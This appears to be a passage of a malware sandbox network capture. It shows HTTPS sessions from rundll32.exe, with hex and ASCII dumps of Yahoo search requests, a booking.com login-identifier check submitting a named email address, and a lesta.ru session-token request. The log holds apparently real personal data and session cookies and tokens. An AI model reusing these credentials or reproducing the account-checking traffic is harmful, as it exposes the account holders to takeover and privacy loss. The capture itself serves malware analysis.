6e 20 6d 74 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 68 6f 76 65 72 44 65 62 6f 75 6e 63 65 3b 65 26 Data Ascii: a&&clearTimeout(a),a=null},p()))}function ut(e){this.disablePreview\|\|(this.prevHoverIndex=-1)}function ft(e,t){var i=this.app;t==this.previewCol&&(e(),i.control.submitFormByIndex(this.prevActiveIndex,"saPreview"))}function mt(){var e=this.hoverDebounce;e&
2023-12-10 16:51:54 UTC	15928	IN	Data Raw: 6e 64 65 78 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 33 38 3a 63 61 73 65 20 34 30 3a 69 66 28 64 2e 6c 65 6e 67 74 68 29 7b 6f 28 29 3b 66 6f 72 28 76 61 72 20 73 2c 6e 3d 64 2e 6c 65 6e 67 74 68 3b 34 30 3d 3d 74 3f 69 3c 30 7c 7c 6e 2d 31 3c 3d 69 3f 69 3d 30 3a 69 2b 2b 3a 69 3c 3d 30 3f 69 3d 6e 2d 31 3a 69 2d 2d 2c 21 28 73 3d 64 5b 69 5d 29 2e 6c 69 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 29 3b 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3d 69 2c 70 2e 61 73 73 69 73 74 49 74 65 6d 3d 73 2c 68 2e 76 61 6c 75 65 3d 73 2e 64 61 74 61 2e 6b 2c 72 28 73 29 2c 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 75 3d 21 30 7d 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 63 61 73 65 20 33 39 3a 69 66 28 39 21 3d 74 7c 7c 21 63 2e 75 73 65 44 65 Data Ascii: ndex;switch(t){case 38:case 40:if(d.length){o();for(var s,n=d.length;40==t?i<0\|\|n-1<=i?i=0:i++:i<=0?i=n-1:i--,!(s=d[i]).li.parentNode;);l.selectedIndex=i,p.assistItem=s,h.value=s.data.k,r(s),S.stopPropagation(e),u=!0}break;case 9:case 39:if(9!=t\|\|!c.useDe
2023-12-10 16:51:54 UTC	13356	IN	Data Raw: 3d 30 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 69 2c 41 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 4e 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 4c 65 2c 74 29 7d 7d 2c 50 65 29 2c 64 2e 73 61 45 64 69 74 3d 28 4f 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6f 6e 28 66 2c 46 65 2c 74 68 69 73 29 7d 7d 2c 4f 65 29 2c 64 2e 73 61 45 6d 70 74 79 53 74 61 74 65 3d 28 71 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 68 69 73 74 6f 72 79 3d 5b 5d 2c 74 2e 74 72 65 6e 64 69 6e 67 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 69 2c 48 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 42 65 2c 74 29 Data Ascii: =0,(t.app=e).on(i,Ae,t),e.on(f,Ne,t),e.on(I,Le,t)}},Pe),d.saEdit=(Oe.prototype={init:function(e){e.on(f,Fe,this)}},Oe),d.saEmptyState=(qe.prototype={init:function(e){var t=this;t.history=[],t.trending=[],t.beforeNode=null,(t.app=e).on(i,He,t),e.on(f,Be,t)
2023-12-10 16:51:54 UTC	5468	IN	Data Raw: 73 72 70 2d 63 6f 72 65 2d 63 73 73 2d 6c 69 67 68 74 2d 70 68 6f 65 6e 69 78 5f 32 66 30 37 30 61 39 39 38 66 35 62 37 30 62 64 33 62 64 65 64 31 39 61 34 33 62 33 34 63 65 64 2e 63 73 73 26 70 76 2f 73 74 61 74 69 63 2f 6c 69 62 2f 6d 61 73 74 65 72 2d 61 74 6f 6d 69 63 2d 64 65 73 6b 74 6f 70 5f 63 33 33 31 65 37 61 66 33 37 64 37 36 61 30 62 66 66 31 64 33 62 38 63 62 33 33 64 61 64 34 37 2e 63 73 73 22 20 63 6c 61 73 73 3d 22 69 6e 6c 69 6e 65 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 65 61 72 63 68 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 70 65 6e 73 65 61 72 63 68 64 65 73 63 72 69 70 74 69 6f 6e 2b 78 6d 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6f 70 65 6e 73 65 61 Data Ascii: srp-core-css-light-phoenix_2f070a998f5b70bd3bded19a43b34ced.css&pv/static/lib/master-atomic-desktop_c331e7af37d76a0bff1d3b8cb33dad47.css" class="inline"><link rel="search" type="application/opensearchdescription+xml" href="https://search.yahoo.com/opensea
2023-12-10 16:51:54 UTC	16384	IN	Data Raw: 20 2e 4c 6f 74 74 65 72 79 47 61 6d 65 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 66 63 2d 32 6e 64 7b 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 23 72 65 73 75 6c 74 73 20 2e 57 65 61 74 68 65 72 20 2e 63 6f 6d 70 57 65 61 74 68 65 72 49 6d 61 67 65 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 46 46 46 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 6f 70 65 6e 20 7b 63 6f 6c 6f 72 3a 23 30 30 38 38 32 43 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 63 6c 6f 73 65 64 20 7b 63 6f 6c 6f 72 3a 23 46 34 31 37 33 32 7d 23 6d 61 69 6e 20 2e 6c 61 73 74 20 2e 64 64 20 2e 63 6f Data Ascii: .LotteryGame .compText span.fc-2nd{color:#757575}#results .Weather .compWeatherImage span{color:#FFF}#results .compLocalList.ravioliListing span.isopen {color:#00882C}#results .compLocalList.ravioliListing span.isclosed {color:#F41732}#main .last .dd .co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50224	18.244.102.111	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:55 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 85 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:51:55 UTC	85	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 73 69 6d 61 2e 62 65 6e 6b 6f 76 61 30 30 31 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"sima.benkova001@centrum.sk"}}
2023-12-10 16:51:56 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 36 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 61 70 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 69 62 32 39 72 61 57 35 6e 58 32 64 73 62 32 4a 68 62 43 49 36 65 79 4a 6b 59 58 52 68 58 33 4e 31 59 6d 70 6c 59 33 52 66 61 57 51 69 4f 69 49 30 4d 54 56 6c 4e 6d 59 7a Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:51:56 GMTset-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiI0MTVlNmYz
2023-12-10 16:51:56 UTC	355	IN	Data Raw: 31 35 63 0d 0a 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 73 69 6d 61 2e 62 65 6e 6b 6f 76 61 30 30 31 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 2c 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 53 49 47 4e 5f 49 4e 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 70 59 42 6b 68 52 35 44 70 42 49 55 62 65 50 34 4a 4b 47 78 70 76 57 48 4a 56 33 56 75 4d 52 43 44 51 73 50 4f 33 59 30 77 63 6c 73 63 64 32 48 5f 76 74 2d 6f 75 55 32 6f 68 2d 35 5a 55 6e 6d 44 47 6d 36 4c 6c 6b 76 59 42 38 37 73 6c 5a 63 4a 71 4c 51 48 38 55 73 74 69 69 62 6d 47 6b 59 2d 5a 57 74 5f 58 6e 43 41 56 68 6b Data Ascii: 15c{"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"sima.benkova001@centrum.sk"},"nextStep":"STEP_SIGN_IN__PASSWORD","context":{"value":"UpYBkhR5DpBIUbeP4JKGxpvWHJV3VuMRCDQsPO3Y0wclscd2H_vt-ouU2oh-5ZUnmDGm6LlkvYB87slZcJqLQH8UstiibmGkY-ZWt_XnCAVhk
2023-12-10 16:51:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50225	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:56 UTC	976	OUT	GET /search;_ylt=AwrigfWn7HVlNtgqnCdLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=71&pz=7&pstart=8 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227111&ltv_c=10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:56 UTC	2069	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 36 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:56 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:56 UTC	5321	IN	Data Raw: 31 33 35 65 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 Data Ascii: 135e0<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yi
2023-12-10 16:51:56 UTC	5792	IN	Data Raw: 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 65 29 7d 29 29 3a 6e 75 6c 6c Data Ascii: create(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(e)})):null
2023-12-10 16:51:56 UTC	15928	IN	Data Raw: 26 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e Data Ascii: &y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.
2023-12-10 16:51:56 UTC	11048	IN	Data Raw: 70 2e 66 6f 72 6d 61 74 2c 6c 2e 65 6e 61 62 6c 65 48 4c 3f 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 5f 68 6c 2c 5b 63 2c 69 2c 6f 2c 74 2c 73 2c 6e 2c 61 5d 29 3a 65 2e 74 69 74 6c 65 3d 72 28 6c 2e 74 6d 70 6c 2c 5b 63 2c 69 2c 74 2c 61 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 73 3d 74 2e 6d 2c 6e 3d 74 2e 66 64 26 26 74 2e 66 64 2e 69 6d 67 5f 75 72 6c 3b 34 31 3d 3d 73 26 26 69 2e 65 6e 61 62 6c 65 54 68 75 6d 62 26 26 6e 26 26 28 74 2e 66 64 2e 69 6d 61 67 65 55 72 6c 3d 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 65 6e 61 62 6c 65 48 4c 3a 21 31 2c 65 6e 61 62 6c 65 54 68 75 6d 62 3a 21 31 2c 74 6d 70 6c 3a 27 3c 69 6d 67 Data Ascii: p.format,l.enableHL?e.title=r(l.tmpl_hl,[c,i,o,t,s,n,a]):e.title=r(l.tmpl,[c,i,t,a]))}function Ze(e,t){var i=this.config,s=t.m,n=t.fd&&t.fd.img_url;41==s&&i.enableThumb&&n&&(t.fd.imageUrl=n)}function Xe(){this.config={enableHL:!1,enableThumb:!1,tmpl:'<img
2023-12-10 16:51:56 UTC	7776	IN	Data Raw: 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2e 68 74 6d 6c 2c 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 74 2c 6c 29 29 2c 53 2e 73 65 74 46 6f 63 75 73 28 72 29 2c 65 28 29 2c 61 29 26 26 28 61 2e 70 6f 73 3d 63 2b 31 2c 6f 2e 63 6f 6e 74 72 6f 6c 2e 62 65 61 63 6f 6e Data Ascii: AfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML=n.placeholder.html,l.parentNode.replaceChild(t,l)),S.setFocus(r),e(),a)&&(a.pos=c+1,o.control.beacon
2023-12-10 16:51:56 UTC	16384	IN	Data Raw: 72 6e 20 74 2e 61 70 70 3d 65 2c 74 2e 76 69 65 77 3d 65 2e 76 69 65 77 2c 74 2e 63 6f 6e 66 69 67 3d 65 2e 63 6f 6e 66 69 67 2c 74 2e 63 62 49 64 78 3d 30 2c 74 2e 64 61 74 61 3d 7b 7d 2c 21 30 7d 2c 66 65 74 63 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 65 3d 74 2e 61 70 70 2c 69 3d 22 73 61 63 62 22 2b 74 2e 63 62 49 64 78 2b 2b 2c 73 3d 7b 70 71 3a 28 73 3d 74 2e 76 69 65 77 29 2e 6f 72 69 67 51 75 65 72 79 2c 63 6f 6d 6d 61 6e 64 3a 73 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2e 76 61 6c 75 65 2c 74 5f 73 74 6d 70 3a 53 2e 74 73 28 29 7d 2c 6e 3d 74 2e 63 6f 6e 66 69 67 2e 73 61 42 45 2c 61 3d 65 2e 63 62 3b 69 66 28 74 2e 63 6f 6e 66 69 67 2e 78 68 72 7c 7c 28 73 2e 63 61 6c 6c 62 61 63 6b 3d 22 59 41 48 4f 4f 2e 53 41 Data Ascii: rn t.app=e,t.view=e.view,t.config=e.config,t.cbIdx=0,t.data={},!0},fetch:function(){var t=this,e=t.app,i="sacb"+t.cbIdx++,s={pq:(s=t.view).origQuery,command:s.elems.sbInput.value,t_stmp:S.ts()},n=t.config.saBE,a=e.cb;if(t.config.xhr\|\|(s.callback="YAHOO.SA
2023-12-10 16:51:56 UTC	5336	IN	Data Raw: 72 76 61 6c 28 61 29 2c 61 3d 6e 75 6c 6c 29 7d 29 7d 28 29 3b 76 61 72 20 70 4c 3d 30 2c 20 70 55 72 6c 3d 27 2f 62 65 61 63 6f 6e 2f 73 62 61 69 2f 62 66 2f 39 3f 49 47 3d 30 61 63 39 66 39 61 38 35 32 34 34 34 35 34 36 39 38 30 30 30 30 30 30 30 30 32 62 64 39 36 38 26 43 49 44 3d 30 61 63 39 66 39 61 38 35 32 34 34 34 35 34 36 39 38 30 30 30 30 30 30 30 30 32 62 64 39 36 38 26 54 79 70 65 3d 45 76 65 6e 74 2e 43 50 54 27 3b 66 75 6e 63 74 69 6f 6e 20 53 4c 42 28 73 2c 70 55 72 6c 29 7b 76 61 72 20 75 72 6c 2c 69 6d 67 3d 6e 65 77 20 49 6d 61 67 65 28 29 2c 64 61 74 3d 27 26 44 41 54 41 3d 27 3b 64 61 74 2b 3d 73 3f 27 25 37 42 25 32 32 70 70 25 32 32 25 33 41 25 37 42 25 32 32 53 25 32 32 25 33 41 25 32 32 41 25 32 32 25 37 44 25 37 44 27 3a 27 25 37 Data Ascii: rval(a),a=null)})}();var pL=0, pUrl='/beacon/sbai/bf/9?IG=0ac9f9a85244454698000000002bd968&CID=0ac9f9a85244454698000000002bd968&Type=Event.CPT';function SLB(s,pUrl){var url,img=new Image(),dat='&DATA=';dat+=s?'%7B%22pp%22%3A%7B%22S%22%3A%22A%22%7D%7D':'%7
2023-12-10 16:51:56 UTC	3272	IN	Data Raw: 61 70 70 6c 65 74 2d 73 61 2d 73 74 6f 63 6b 73 20 2e 75 70 7b 63 6f 6c 6f 72 3a 23 31 34 39 39 33 33 7d 23 72 65 73 75 6c 74 73 20 2e 74 64 2d 61 70 70 6c 65 74 2d 73 61 2d 73 74 6f 63 6b 73 20 2e 64 6f 77 6e 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 44 30 30 32 31 42 7d 23 72 65 73 75 6c 74 73 20 2e 74 64 2d 61 70 70 6c 65 74 2d 73 61 2d 73 74 6f 63 6b 73 20 73 70 61 6e 2e 73 74 6f 63 6b 50 72 69 63 65 2c 20 23 72 65 73 75 6c 74 73 20 2e 74 64 2d 61 70 70 6c 65 74 2d 73 61 2d 73 74 6f 63 6b 73 20 2e 64 65 74 61 69 6c 51 75 6f 74 65 20 2e 72 6f 77 20 73 70 61 6e 2e 72 69 67 68 74 2c 20 23 72 65 73 75 6c 74 73 20 2e 74 64 2d 61 70 70 6c 65 74 2d 73 61 2d 73 74 6f 63 6b 73 20 73 70 61 6e 2e 62 6c 61 63 6b 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 23 72 65 73 75 6c Data Ascii: applet-sa-stocks .up{color:#149933}#results .td-applet-sa-stocks .down span{color:#D0021B}#results .td-applet-sa-stocks span.stockPrice, #results .td-applet-sa-stocks .detailQuote .row span.right, #results .td-applet-sa-stocks span.black{color:#000}#resul
2023-12-10 16:51:56 UTC	9760	IN	Data Raw: 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 7b 68 65 69 67 68 74 3a 36 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 4e 65 75 65 2d 42 6f 6c 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b Data Ascii: guide .guide-text{height:68px;margin-left:24px;float:left}.permission-guide .guide .guide-text .title{color:#232a31;font-size:32px;font-family:HelveticaNeue-Bold;line-height:28px;margin-bottom:16px}.permission-guide .guide .guide-text .text{color:#232a31;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50222	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:57 UTC	486	OUT	GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V; wgni_sessionid=ryasm481hjm1buk4zielaytt0s4clcn4 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50229	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
